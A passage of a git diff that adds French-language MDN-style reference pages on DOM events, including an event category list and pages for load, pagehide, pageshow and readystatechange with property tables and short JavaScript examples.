+   <td>A tab has been hidden.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been pinned.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A tab has been unpinned.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Developer_tool-specific_events">Developer tool-specific events</h3>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been updated.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>The "Rules" view of the style inspector has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>A link to a CSS file has been clicked in the "Rules" view of the style inspector.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Categories">Categories</h2>
+
+<h3 id="Animation_events">Animation events</h3>
+
+<p>{{event("animationend")}}, {{event("animationiteration")}}, {{event("animationstart")}}, {{event("beginEvent")}}, {{event("endEvent")}}, {{event("repeatEvent")}}</p>
+
+<h3 id="Battery_events">Battery events</h3>
+
+<p>{{event("chargingchange")}} {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} {{event("levelchange")}}</p>
+
+<h3 id="Call_events">Call events</h3>
+
+<p>{{event("alerting")}}, {{event("busy")}}, {{event("callschanged")}} {{event("cfstatechange")}}, {{event("connected")}}, {{event("connecting")}}, {{event("dialing")}}, {{event("disconnected")}}, {{event("disconnecting")}}, {{event("error_(Telephony)","error")}}, {{event("held")}}, {{event("holding")}}, {{event("incoming")}}, {{event("resuming")}}, {{event("statechange")}}, {{event("voicechange")}}</p>
+
+<h3 id="CSS_events">CSS events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a>, <a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a>, <a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a>, {{event("transitionend")}}</p>
+
+<h3 id="Database_events">Database events</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code>, {{event("error")}} (<a href="/en-US/docs/Web/Reference/Events/error">link</a>), <code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
+
+<h3 id="Document_events">Document events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a>, <a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a>, <a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a>, <a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a>, <a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a>, <a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a>, {{event("unload")}}</p>
+
+<h3 id="DOM_mutation_events">DOM mutation events</h3>
+
+<p>code&gt;<a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code>, {{event("DOMContentLoaded")}}, <code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code>, <code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
+
+<h3 id="Drag_events">Drag events</h3>
+
+<p>{{event("drag")}}, <code>dragdrop</code>, {{event("dragend")}}, {{event("dragenter")}}, <code>dragexit</code>, <code>draggesture</code>, {{event("dragleave")}}, {{event("dragover")}}, {{event("dragstart")}}, {{event("drop")}}</p>
+
+<h3 id="Element_events">Element events</h3>
+
+<p>{{event("invalid")}}, {{event("overflow")}}, {{event("underflow")}}, <a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a>, {{event("command")}}, {{event("commandupdate")}}</p>
+
+<h3 id="Focus_events">Focus events</h3>
+
+<p>{{event("blur")}}, {{event("change")}}, <code>DOMFocusIn</code>, <code>DOMFocusOut</code>, {{event("focus")}}, {{event("focusin")}}, {{event("focusout")}}</p>
+
+<h3 id="Form_events">Form events</h3>
+
+<p>{{event("reset")}}, {{event("submit")}}</p>
+
+<h3 id="Frame_events">Frame events</h3>
+
+<p>{{event("mozbrowserclose")}}, {{event("mozbrowsercontextmenu")}}, {{event("mozbrowsererror")}}, {{event("mozbrowsericonchange")}}, {{event("mozbrowserlocationchange")}}, {{event("mozbrowserloadend")}}, {{event("mozbrowserloadstart")}}, {{event("mozbrowseropenwindow")}}, {{event("mozbrowsersecuritychange")}}, {{event("mozbrowsershowmodalprompt")}} (<a href="/en-US/docs/Web/Reference/Events/mozbrowsershowmodalprompt">link</a>), {{event("mozbrowsertitlechange")}}, <a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></p>
+
+<h3 id="Input_device_events">Input device events</h3>
+
+<p>{{event("click")}}, {{event("contextmenu")}}, {{event("DOMMouseScroll")}}, {{event("dblclick")}}, {{event("gamepadconnected")}}, {{event("gamepaddisconnected")}}, {{event("keydown")}}, {{event("keypress")}}, {{event("keyup")}}, {{event("MozGamepadButtonDown")}}, {{event("MozGamepadButtonUp")}}, {{event("mousedown")}}, {{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mousemove")}}, {{event("mouseout")}}, {{event("mouseover")}}, {{event("mouseup")}}, {{event("mousewheel")}}, {{event("MozMousePixelScroll")}}, {{event("pointerlockchange")}}, {{event("pointerlockerror")}},{{event("wheel")}}</p>
+
+<h3 id="Media_events">Media events</h3>
+
+<p>{{event("audioprocess")}}, {{event("canplay")}}, {{event("canplaythrough")}}, {{event("durationchange")}}, {{event("emptied")}}, {{event("ended")}}, {{event("ended_(Web_Audio)", "ended")}}, {{event("loadeddata")}}, {{event("loadedmetadata")}}, {{event("MozAudioAvailable")}}, {{event("pause")}}, {{event("play")}}, {{event("playing")}}, {{event("ratechange")}}, {{event("seeked")}}, {{event("seeking")}}, {{event("stalled")}}, {{event("suspend")}}, {{event("timeupdate")}}, {{event("volumechange")}}, {{event("waiting")}}, {{event("complete")}}</p>
+
+<h3 id="Menu_events">Menu events</h3>
+
+<p>{{event("DOMMenuItemActive")}}, {{event("DOMMenuItemInactive")}}</p>
+
+<h3 id="Network_events">Network events</h3>
+
+<p>{{event("datachange")}}, {{event("dataerror")}}, {{event("disabled")}}, {{event("enabled")}}, {{event("offline")}}, {{event("online")}}, {{event("statuschange")}}, {{event("connectionInfoUpdate")}},</p>
+
+<h3 id="Notification_events">Notification events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a>, <a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></p>
+
+<h3 id="Popup_events">Popup events</h3>
+
+<p>{{event("popuphidden")}}, {{event("popuphiding")}}, {{event("popupshowing")}}, {{event("popupshown")}}, <a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></p>
+
+<h3 id="Printing_events">Printing events</h3>
+
+<p>{{event("afterprint")}}, {{event("beforeprint")}}</p>
+
+<h3 id="Progress_events">Progress events</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code>, {{event("error")}}, <code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code>, {{event("loadend")}}, {{event("loadstart")}}, {{event("progress")}}, <code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code>, {{event("timeout")}}, <code>uploadprogress</code></p>
+
+<h3 id="Resource_events">Resource events</h3>
+
+<p>{{event("abort")}}, {{event("cached")}}, {{event("error")}}, {{event("load")}}</p>
+
+<h3 id="Script_events">Script events</h3>
+
+<p>{{event("afterscriptexecute")}}, {{event("beforescriptexecute")}}</p>
+
+<h3 id="Sensor_events">Sensor events</h3>
+
+<p>{{event("compassneedscalibration")}}, {{event("devicelight")}}, {{event("devicemotion")}}, {{event("deviceorientation")}}, {{event("deviceproximity")}}, {{event("MozOrientation")}}, {{event("orientationchange")}}, {{event("userproximity")}}</p>
+
+<h3 id="Session_history_events">Session history events</h3>
+
+<p>{{event("pagehide")}}, {{event("pageshow")}}, {{event("popstate")}}</p>
+
+<h3 id="Smartcard_events">Smartcard events</h3>
+
+<p>{{event("icccardlockerror")}}, {{event("iccinfochange")}}, {{event("smartcard-insert")}}, {{event("smartcard-remove")}}, {{event("stkcommand")}}, {{event("stksessionend")}}, {{event("cardstatechange")}}</p>
+
+<h3 id="SMS_and_USSD_events">SMS and USSD events</h3>
+
+<p>{{event("delivered")}}, {{event("received")}}, {{event("sent")}}, {{event("ussdreceived")}}</p>
+
+<h3 id="Storage_events">Storage events</h3>
+
+<p>{{event("change")}}, {{event("storage")}}</p>
+
+<h3 id="SVG_events">SVG events</h3>
+
+<p>{{event("SVGAbort")}}, {{event("SVGError")}}, {{event("SVGLoad")}}, {{event("SVGResize")}}, {{event("SVGScroll")}}, {{event("SVGUnload")}}, {{event("SVGZoom")}}</p>
+
+<h3 id="Tab_events">Tab events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/tabviewsearchenabled">tabviewsearchenabled</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewsearchdisabled">tabviewsearchdisabled</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewframeinitialized">tabviewframeinitialized</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewshown">tabviewshown</a>, <a href="/en-US/docs/Web/Reference/Events/tabviewhidden">tabviewhidden</a>, <a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a>, <a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a>, <a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a>, <a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a>, <a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a>, <a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a>, <a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a>, <a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a>, {{event("visibilitychange")}}</p>
+
+<h3 id="Text_events">Text events</h3>
+
+<p>{{event("compositionend")}}, {{event("compositionstart")}}, {{event("compositionupdate")}}, {{event("copy")}}, {{event("cut")}}, {{event("paste")}}, {{event("select")}}, <code>text</code></p>
+
+<h3 id="Touch_events">Touch events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a>, <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a>, <a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a>, <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a>, <a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a>, <a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a>, <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a>, {{event("touchcancel")}}, {{event("touchend")}}, {{event("touchenter")}}, {{event("touchleave")}}, {{event("touchmove")}}, {{event("touchstart")}}</p>
+
+<h3 id="Update_events">Update events</h3>
+
+<p>{{event("checking")}}, {{event("downloading")}}, {{event("error")}}, {{event("noupdate")}}, {{event("obsolete")}}, {{event("updateready")}}</p>
+
+<h3 id="Value_change_events">Value change events</h3>
+
+<p>{{event("broadcast")}}, {{event("CheckboxStateChange")}}, {{event("hashchange")}}, {{event("input")}}, {{event("RadioStateChange")}}, {{event("readystatechange")}}, {{event("ValueChange")}}</p>
+
+<h3 id="View_events">View events</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a>, {{event("fullscreenchange")}}, {{event("fullscreenerror")}}, <a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a>, {{event("MozScrolledAreaChanged")}}, {{event("resize")}}, {{event("scroll")}}, <a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></p>
+
+<h3 id="Événements_Websocket">Événements Websocket</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code>, {{event("error")}}, <code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></p>
+
+<h3 id="Événements_de_fenêtre">Événements de fenêtre</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a>, <a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a>, <a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a>, <a href="/en-US/docs/Web/Reference/Events/MozBeforeResize">MozBeforeResize</a> {{obsolete_inline}}, <a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a>, <a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a>, <a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a>, <a href="/en-US/docs/Web/Reference/Events/close_event">close</a></p>
+
+<h3 id="Événements_non_classés">Événements non classés</h3>
+
+<p>{{event("beforeunload")}}, {{event("localized")}}, <code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code>, <code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code>, <a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a>, {{event("moztimechange")}}, <code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code>, {{event("show")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+</ul>
diff --git a/files/fr/web/events/load/index.html b/files/fr/web/events/load/index.html
new file mode 100644
index 0000000000..53672aa244
--- /dev/null
+++ b/files/fr/web/events/load/index.html
@@ -0,0 +1,92 @@
+---
+title: load
+slug: Web/Events/load
+tags:
+  - Event
+  - Window
+translation_of: Web/API/Window/load_event
+---
+<p>L’évènement <code>load</code> est émis lorsqu’une ressource et ses ressources dépendantes sont completement chargées.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt>Spécification</dt>
+ <dd><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></dd>
+ <dt>Interface</dt>
+ <dd>UIEvent</dd>
+ <dt>Bouillonne</dt>
+ <dd>Non</dd>
+ <dt>Annulable</dt>
+ <dd>Non</dd>
+ <dt>Cible</dt>
+ <dd>Document, Element</dd>
+ <dt>Action par défaut</dt>
+ <dd>Aucune.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>target</td>
+   <td><a href="/fr/docs/Web/API/EventTarget">EventTarget</a></td>
+   <td>La cible de l’évènement (la cible la plus haute dans l’arbre <a href="/fr/docs/Comment_cr%C3%A9er_un_arbre_DOM">DOM</a>)</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td><a href="/fr/docs/Web/API/DOMString">DOMString</a></td>
+   <td>Le type de l’évènement</td>
+  </tr>
+  <tr>
+   <td>bubbles</td>
+   <td>boolean</td>
+   <td>Si l’évènement bouillonne ou non</td>
+  </tr>
+  <tr>
+   <td>cancelable</td>
+   <td>boolean</td>
+   <td>Si l’évènement est annulable ou non</td>
+  </tr>
+  <tr>
+   <td>view</td>
+   <td><a href="/fr/docs/Web/API/WindowProxy">WindowProxy</a></td>
+   <td><a href="/fr/docs/Web/API/Document/defaultView">document.defaultView</a> (la fenêtre du document)</td>
+  </tr>
+  <tr>
+   <td>detail</td>
+   <td>long (float)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Tous les évènements ci-dessus sont en lecture seule. Vous ne pouvez pas leur affecter de valeur.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<div>
+<pre>&lt;script&gt;
+  window.addEventListener("load", function(event) {
+    console.log("Toutes les ressources sont chargées !");
+  });
+&lt;/script&gt;</pre>
+</div>
+
+<h2 id="Évènements_liés">Évènements liés</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/fr/web/events/pagehide/index.html b/files/fr/web/events/pagehide/index.html
new file mode 100644
index 0000000000..8971ae1044
--- /dev/null
+++ b/files/fr/web/events/pagehide/index.html
@@ -0,0 +1,69 @@
+---
+title: pagehide
+slug: Web/Events/pagehide
+translation_of: Web/API/Window/pagehide_event
+---
+<p>L’évènement <code>pagehide</code> est émis lorsqu’une entrée dans un historique de session est sur le point d’être quittée.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 160px;">Spécification</dt>
+ <dd style="margin: 0 0 0 160px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide" lang="en-US">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 160px;">Interface</dt>
+ <dd style="margin: 0 0 0 160px;"><a href="/fr/docs/Web/API/PageTransitionEvent">PageTransitionEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 160px;">Bouillonne</dt>
+ <dd style="margin: 0 0 0 160px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 160px;">Annulable</dt>
+ <dd style="margin: 0 0 0 160px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 160px;">Cible</dt>
+ <dd style="margin: 0 0 0 160px;">Document (dispatché sur Window)</dd>
+ <dt style="float: left; text-align: right; width: 160px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 160px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés" style="">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l’évènement (la plus haute dans l’arbre DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type d’évènement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si l’évènement bouillonne en temps normal ou non.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si l’évènement est annulable ou non.</td>
+  </tr>
+  <tr>
+   <td><code>persisted</code> {{readonlyInline}}</td>
+   <td>{{jsxref("boolean")}}</td>
+   <td>Si l’entrée est chargée depuis le cache ou non.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Évènements_liés">Évènements liés</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Events/pageshow"><code>pageshow</code></a></li>
+ <li><a href="/fr/docs/Utilisation_du_cache_de_Firefox_1.5#L.27.C3.A9v.C3.A8nement_pagehide">Utilisation du cache de Firefox 1.5 — L’évènement pagehide</a></li>
+</ul>
diff --git a/files/fr/web/events/pageshow/index.html b/files/fr/web/events/pageshow/index.html
new file mode 100644
index 0000000000..ba9e55f03e
--- /dev/null
+++ b/files/fr/web/events/pageshow/index.html
@@ -0,0 +1,132 @@
+---
+title: pageshow
+slug: Web/Events/pageshow
+translation_of: Web/API/Window/pageshow_event
+---
+<p>L’évènement <code>pageshow</code> est émis lorsqu’une entrée dans un historique de session est atteinte (cela comprend les boutons précédent / suivant ainsi que l’affichage initial de la page après l’évènement <code>onload</code>).</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 160px;">Spécification</dt>
+ <dd style="margin: 0 0 0 160px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow" lang="en-US">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 160px;">Interface</dt>
+ <dd style="margin: 0 0 0 160px;"><a href="/fr/docs/Web/API/PageTransitionEvent">PageTransitionEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 160px;">Bouillonne</dt>
+ <dd style="margin: 0 0 0 160px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 160px;">Annulable</dt>
+ <dd style="margin: 0 0 0 160px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 160px;">Cible</dt>
+ <dd style="margin: 0 0 0 160px;">Document (dispatché sur Window)</dd>
+ <dt style="float: left; text-align: right; width: 160px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 160px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés" style="">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l’évènement (la plus haute dans l’arbre DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type d’évènement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si l’évènement bouillonne en temps normal ou non.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si l’évènement est annulable ou non.</td>
+  </tr>
+  <tr>
+   <td><code>persisted</code> {{readonlyInline}}</td>
+   <td>{{jsxref("boolean")}}</td>
+   <td>Si l’entrée est chargée depuis le cache ou non.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L’exemple suivant va afficher dans la console des informations sur l’évènement <code>pageshow</code>, qui est émis à l’utilisation des boutons précédent / suivant, et pas uniquement après <code>onload</code> :</p>
+
+<pre class="brush: js">window.addEventListener('pageshow', function(event) {
+    console.log('pageshow:');
+    console.log(event);
+});</pre>
+
+<p>Bien que ce ne soit pas la meilleure pratique, vous pouvez également ajouter l’évènement comme un attribut sur la balise <code>&lt;body&gt;</code>, de la même manière que <code>onload</code> :</p>
+
+<pre class="brush: html">&lt;body onload="myonload()" onpageshow="mypageshowcode()"&gt;</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Évènements_liés">Évènements liés</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Events/pagehide"><code>pagehide</code></a></li>
+ <li><a href="/fr/docs/Utilisation_du_cache_de_Firefox_1.5#L.27.C3.A9v.C3.A8nement_pageshow">Utilisation du cache de Firefox 1.5 — L’évènement pageshow</a></li>
+</ul>
diff --git a/files/fr/web/events/readystatechange/index.html b/files/fr/web/events/readystatechange/index.html
new file mode 100644
index 0000000000..f4adf81f7a
--- /dev/null
+++ b/files/fr/web/events/readystatechange/index.html
@@ -0,0 +1,87 @@
+---
+title: readystatechange
+slug: Web/Events/readystatechange
+translation_of: Web/API/Document/readystatechange_event
+---
+<p>{{ApiRef}}</p>
+
+<p>L'événement <code>readystatechange</code> est déclenché lorsque l'attribut <a href="/fr/docs/DOM/document.readyState" title="/fr/docs/DOM/document.readyState"> <code>readyState</code> </a> d'un document a changé.</p>
+
+<h2 id="Information_générale">Information générale</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current-document-readiness">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="propriétés">propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="exemple">exemple</h2>
+
+<pre class="brush: js">document.readyState === "complete";
+// true
+
+
+//alternative à DOMContentLoaded
+document.onreadystatechange = function () {
+    if (document.readyState == "interactive") {
+        initApplication();
